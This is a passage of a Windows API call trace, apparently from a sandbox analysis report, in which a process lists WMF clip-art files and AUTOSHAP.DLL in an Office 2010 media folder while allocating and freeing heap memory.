ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff23a0 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1035168 [0069.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.107] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff23c0 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1035270 [0069.107] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3000) returned 0x1042978 [0069.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103f9b0) returned 1 [0069.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c7e0) returned 1 [0069.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c7e0 [0069.108] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xff23e0 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3405b200, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3405b200, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18229_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0069.108] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0069.109] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 0 [0069.110] GetLastError () returned 0x12 [0069.110] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0069.110] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0069.110] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: 